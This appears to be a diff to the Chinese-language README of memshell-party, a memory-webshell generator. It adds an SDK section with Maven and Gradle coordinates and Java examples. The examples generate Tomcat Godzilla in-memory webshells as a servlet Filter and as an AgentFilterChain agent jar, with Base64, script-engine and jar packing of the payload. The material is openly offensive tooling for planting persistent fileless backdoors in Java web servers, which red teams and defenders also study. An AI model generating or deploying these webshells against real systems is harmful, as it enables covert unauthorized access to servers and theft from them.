@@ -71,6 +71,97 @@ docker rm -f memshell-party
7171docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
7272```
7373
74+ ### SDK 集成到现有工具中
75+
76+ > 适合集成到已有工具中,实现内存马 payload 的生成,支持 JDK8 以上版本,v1.7.0 开始支持
77+
78+ 1 . 添加依赖,Maven Or Gradle
79+
80+ ``` xml
81+ <!-- Maven Repo-->
82+ <dependency >
83+ <groupId >io.github.reajason</groupId >
84+ <artifactId >generator</artifactId >
85+ <version >1.7.0</version >
86+ </dependency >
87+ ```
88+
89+ ``` groovy
90+ // Gradle Repo
91+ implementation 'io.github.reajason:generator:1.7.0'
92+ ```
93+
94+ 2 . 生成 Tomcat Godzilla Filter 内存马示例
95+
96+ ``` java
97+ ShellConfig shellConfig = ShellConfig . builder()
98+ .server(Server . Tomcat )
99+ .shellTool(ShellTool . Godzilla )
100+ .shellType(ShellType . FILTER )
101+ .shrink(true ) // 缩小字节码
102+ .debug(false ) // 关闭调试
103+ .build();
104+
105+ InjectorConfig injectorConfig = InjectorConfig . builder()
106+ // .urlPattern("/*") // 自定义 urlPattern,默认就是 /*
107+ // .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名,默认为空时随机生成
108+ // .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名,默认为空时随机生成
109+ .build();
110+
111+ GodzillaConfig godzillaConfig = GodzillaConfig . builder()
112+ // .pass("pass")
113+ // .key("key")
114+ // .headerName("User-Agent")
115+ // .headerValue("test")
116+ .build();
117+
118+ GenerateResult result = MemShellGenerator . generate(shellConfig, injectorConfig, godzillaConfig);
119+
120+ System . out. println(" 注入器类名:" + result. getInjectorClassName());
121+ System . out. println(" 内存马类名:" + result. getShellClassName());
122+
123+ System . out. println(result. getShellConfig());
124+ System . out. println(result. getShellToolConfig());
125+
126+ System . out. println(" Base64 打包:" + Packers . Base64 . getInstance(). pack(result));
127+ System . out. println(" 脚本引擎打包:" + Packers . ScriptEngine . getInstance(). pack(result));
128+ ```
129+ 3 . 生成 Tomcat Godzilla AgentFilterChain 示例
130+ ``` java
131+ ShellConfig shellConfig = ShellConfig . builder()
132+ .server(Server . Tomcat )
133+ .shellTool(ShellTool . Godzilla )
134+ .shellType(ShellType . AGENT_FILTER_CHAIN )
135+ .shrink(true ) // 缩小字节码
136+ .debug(false ) // 关闭调试
137+ .build();
138+
139+ InjectorConfig injectorConfig = InjectorConfig . builder()
140+ // .urlPattern("/*") // 自定义 urlPattern,默认就是 /*
141+ // .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名,默认为空时随机生成
142+ // .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名,默认为空时随机生成
143+ .build();
144+
145+ GodzillaConfig godzillaConfig = GodzillaConfig . builder()
146+ // .pass("pass")
147+ // .key("key")
148+ // .headerName("User-Agent")
149+ // .headerValue("test")
150+ .build();
151+
152+ GenerateResult result = MemShellGenerator . generate(shellConfig, injectorConfig, godzillaConfig);
153+
154+ System . out. println(" 注入器类名:" + result. getInjectorClassName());
155+ System . out. println(" 内存马类名:" + result. getShellClassName());
156+
157+ System . out. println(result. getShellConfig());
158+ System . out. println(result. getShellToolConfig());
159+
160+ byte [] agentJarBytes = ((JarPacker ) Packers . AgentJar . getInstance()). packBytes(result);
161+ Files . write(Paths . get(" agent.jar" ), agentJarBytes);
162+ ```
163+ 4 . 封装统一生成接口可参考 [ GeneratorController.java] ( boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java )
164+
74165## 适配情况
75166
76167已兼容 Java6 ~ Java8、Java9、Java11、Java17、Java21
0 commit comments